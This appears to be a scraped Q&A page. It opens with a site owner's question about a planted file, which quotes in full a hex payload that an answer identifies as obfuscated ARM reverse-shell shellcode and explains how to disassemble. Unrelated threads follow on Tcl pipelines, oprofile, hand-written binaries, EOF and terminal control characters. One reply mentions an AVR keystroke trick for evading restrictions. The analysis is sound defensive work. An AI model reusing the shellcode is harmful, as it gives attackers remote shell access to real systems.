Today I was blown away by the slowness of my website, so I decided to look what was wrong. Looked at apache2, server bandwidth, incorrect configs, couldn't find anything. So on a whim I opened a random file I didn't know existed, at least I didn't put it there.
This is the code I found in the file:
\x01\x10\x8f\xe2\x11\xff\x2f\xe1\x11\xa1\x8a\x78\x01\x3a\x8a\x70\x02\x21\x08\x1c\x01\x21\x92\x1a\x0f\x02\x19\x37\x01\xdf\x06\x1c\x0b\xa1\x02\x23\x0b\x80\x10\x22\x02\x37\x01\xdf\x3e\x27\x01\x37\xc8\x21\x30\x1c\x01\xdf\x01\x39\xfb\xd5\x07\xa0\x92\x1a\xc2\x71\x05\xb4\x69\x46\x0b\x27\x01\xdf\x01\x21\x08\x1c\x01\xdf\xc0\x46\xff\xff\x7b\xb4\xb9\x35\x5a\x13\x2f\x62\x69\x6e\x2f\x73\x68\x58\xff\xff\xc0\x46\xef\xbe\xad\xde
Can anyone push me in the right direction..? It looks like some malicious shell code. I've tried to decode it but couldn't figure out how it was encoded.
Thanks!
I have tried Ascii to text, binary to text, base64 to text. Only useful bit of text I found was /bin/ when I tried decoding in from ascii to text.
It seems to be ARM reverse shell bin/sh shellcode.
Analysis
If the first nibble of every fourth byte is "e", then it is likely to be ARM code. This is because of conditional execution (always execute). In this case, the fourth and eight bytes are e2 and e1.
To convert into an ELF file and look at the disassembly you can do:
$ arm-none-eabi-objcopy -I binary -O elf32-littlearm data.bin data.elf
$ arm-none-eabi-objdump -D data.elf
The first two instructions are in ARM mode, that does a jump into thumb mode starting at adress 8.
0: e28f1001 add r1, pc, #1
4: e12fff11 bx r1
You can look at the thumb code with
arm-none-eabi-objdump -M force-thumb -D data.elf
The thumb code is then issuing some syscalls, and modifying itself to patch null bytes and add some obfuscation, to make our life harder.
I searched for the syscalls and some of the constants and found this: https://packetstormsecurity.com/files/151392/Linux-ARM-Reverse-Shell-Shellcode.html Not exactly the same, but very similar. The code you provided has some obfuscation added, and the IP-address/port changed.
Related
How can i use write ('w') and read ('r') access while using command pipeline in open command in TCL.
when i do something like :
set f1 [open "| ls -l" w]
it returns a file descriptor to write to , say file1.
Now I am confused how can I put this file descriptor to my use.
PS : My example might be wrong, and in that case it'd be ideal if answer includes a programming example so that it'll be more clear.
Thanks
In general, the key things you can do with a channel are write to it (using puts), read from it (using gets and read), and close it. Obviously, you can only write to it if it is writable, and only read from it if it is readable.
When you write to a channel that is implemented as a pipeline, you send data to the program on the other end of the pipe; that's usually consuming it as its standard input. Not all programs do that; ls is one of the ones that completely ignores its standard input.
But the other thing you can do, as I said above, is close the channel. When you close a pipeline, Tcl waits for all the subprocesses to terminate (if they haven't already) and collects their standard error output, which becomes an error message from close if there is anything. (The errors are just like those you can get from calling exec; the underlying machinery is shared.)
There's no real point in running ls in a pure writable pipeline, at least not unless you redirect its output. Its whole purpose is to produce output (the sorted list of files, together with extra details with the -l option). If you want to get the output, you'll need a readable channel (readable from the perspective of Tcl): open "| ls -l" r. Then you'll be able to use gets $f1 to read a line from the subprocess.
But since ls is entirely non-interactive and almost always has a very quick running time (unless your directories are huge or you pass the options to enable recursion), you might as well just use exec. This does not apply to other programs. Not necessarily anyway; you need to understand what's going on.
If you want to experiment with pipelines, try using sort -u as the subprocess. That takes input and produces output, and exhibits all sorts of annoying behaviour along the way! Understanding how to work with it will teach you a lot about how program automation can be tricky despite it really being very simple.
I am trying to find ways to use oprofile on a stripped binary yet
still get detailed information when symbol tables are available
later, but so far I haven't find any solution.
Here is my situation: Our software is shipped to our customer stripped, but we have unstripped version on our build machine. When
we have a software crash, the backtrace can be sent back and we
can interpret it with local unstripped build.
Since oprofile is about taking samples and interpreting samples, is there a way to de-couple this process? Is there a way for oprofile/opreport to generate hex-address based profile information that can be interpretted on a different machine with all symbols available. Maybe I can do so by copying back the sample files?
I am sure it must be possible, so I am reaching out to the experts for advice. Detailed steps would be nice.
Thanks in advance.
I found a way to do it. It might not be the best, but I am surprised this didn't generate enough interest.
Say you have a binary called "mybin" and running its stripped version at customer site. Here would be my procedure:
Ask the customer (or your field engineer) run oprofile, the
whole nine yard (setup, start, dump and shutdown), then do:
tar czf OP-`date +"%Y%m%d%H%M%S"`.tgz /var/lib/oprofile
and ship that back.
On your build machine, do the following
mkdir /tmp/migrate && cd /tmp/migrate
tar xzf OP-*.tgz
Now you can check the overall CPU usage on target, by
opreport -% --session-dir=/tmp/migrate/var/lib/oprofile
If your "mybin" is built under /home/nobody/build/1.2.0/, you can use
opreport -l mybin --image-path /home/nobody/build/1.2.0/ --session-dir=/tmp/migrate/var/lib/oprofile
to see the details just for "mybin".
I know that may seem weird and looking for troubles but I think experiencing what the ancient programmers experienced before is something interesting. So how can I execute a program written only in binary? (Suppose that I know what I am doing and not using assembly of course.)
I just want to write a series of bits like 111010111010101010101 and execute that. So how can I do that?
Use a hex editor. You'll need to find out the relevant executable format for your operating system, of course - assuming you want to use an operating system... I suppose you could always write your own bootloader and just run the code directly that way, if you want to get all hardcore.
I don't think you'll really be experiencing what programmers experienced back then though - for one thing, you won't be using punch cards, paper tape etc. For another, your context is completely different - you know what computers are like now, so it'll feel painfully primitive to you... whereas back then, it would have been bleeding edge and exciting just on those grounds.
Use a hex editor, write your bits and save it as an executable file (either just with the file extension .exe in Windows or with chmod a+x filename in Linux).
The problem is: You'd also have to write all the OS-specific stuff in binary format, and you'll have to have a table that translates from assembler code to binary stuff.
Why not, if you want to experience low-level programming, give D.E. Knuth's assembler MMIX a try?
It really depends on the platform you are using. But that's sort of irrelevant based on your proposed purpose. The earliest programmers of modern computers as you think of them did not program in binary -- they programmed in assembly.
You will learn nothing trying to program in binary for a specific Operating System and specific CPU type using a hex editor.
If you want to find out how pre-assembly programmers worked (with plain binary data), look up Punch Cards.
.
Use a hex editor to create your file, be sure to use a format that the loader of your respective OS understands and then double click it.
most assemblers (MMIX assembler for instance see www.mmix.cs.hm.edu) dont care if
you write instructions or data.
So instead of wirting
Main ADD $0,$0,3
SUB $1,$0,4
...
you can write
Main TETRA #21000003
TETRA #25010004
...
So this way you can assemble your program by hand and then have the assembler transform it in a form the loader needs. Then you execute it. Normaly you use hex notatition not binary because keeping track of so many digits is difficult. You can also use decimal, but the charts that tell you which instructions have which codes are typically in hex notation.
Good luck! I had to do things like this when I started programming computers. Everybody was glad to have an assembler or even a compiler then.
Martin
Or he is just writing some malicious code.
I've seen some funny methods that use a AVR as a keyboard emulator, open some simple text editor, write the code that's in the AVR eeprom memory, and pipe it to "debug" (in windows systems), and run it. It's a good way to escape some restrictions too ;)
I imagine that by interacting directly with hardware you could write in binary. To flip the proper binary bits, you could use a magnetized needle on your disk drive. Or butterflies.
is EOF a special byte sequence that lies in the end of every file, or is it kinda exception(interrupt) that is notified by the kernel?
Long ago on DOS machines it used to be indicated by ^Z, but nowadays it's the kernel reaching the end of the file and notifying the program when it tries to read further.
I've used the ASCII EOF character to separate data files into a human-readable header followed by binary data. This allowed everything the mechanical engineers needed from a test to be kept in one file, while keeping it small enough to fit a floppy. (This was years ago!) The EOF character told most text display programs to stop. Anyone wanting a quick peek at the file header could just use a "print" command (is that what it was?) in a command shell.
Mostly these days, the EOF character isn't used in files, at least in the small part of the world I inhabit. Practically none of the ASCII control characters have any use any more, beside NUL, ESC and CR/LF.
EOF may serve some purpose in some streaming protocols, but that's outside my expertise so I leave it to others to address that.
EOF is a special code returned by the C stdio library to denote that there's no more data to be read from a FILE. Different operating systems have their own way of recording the size/end of a file and their own way of returning that to a user program, which will be translated into an EOF return code by the C standard library implementation on that operating system.
Imaginary Situation: You’ve used mysqldump to create a backup of a mysql database. This database has columns that are blobs. That means your “text” dump files contains both strings and binary data (binary data stored as strings?)
If you cat this file to the screen
$ cat dump.mysql
you’ll often get unexpected results. The terminal will start beeping, and then the output finishes scrolling by you’ll often have garbage chacters entered on your terminal as through you’d typed them, and sometimes your prompts and anything you type will be garbage characters.
Why does this happen? Put another way, I think I’m looking for an overview of what’s actually happening when you store binary strings into a file, and when you cat those files, and when the results of the cat are reported to the terminal, and any other steps I’m missing.
When you cat a binary file you can inadvertently send control characters to the terminal.
If a terminal application wants to send a beep for example, it sends the following binary to the terminal: 0x007 (SYS V only).
The same goes for colors, cursor position and others.
Start here: http://www.faqs.org/docs/Linux-HOWTO/Keyboard-and-Console-HOWTO.html
In particular, sections 3 (Console generalities) and section 4 (reseting your terminal).
It covers a bit more than you're talking about, but should give you what you need.
When you cat the binary data to the screen, the terminal tries to interpret that binary data into ASCII (or UTF). Some characters are capable of controlling the terminal. For example,
echo "^[[0;31;40m" # The first ^[ comes from pressing Ctrl+v, Esc
Will turn the background black and the foreground red. Use reset to return your terminal to normal.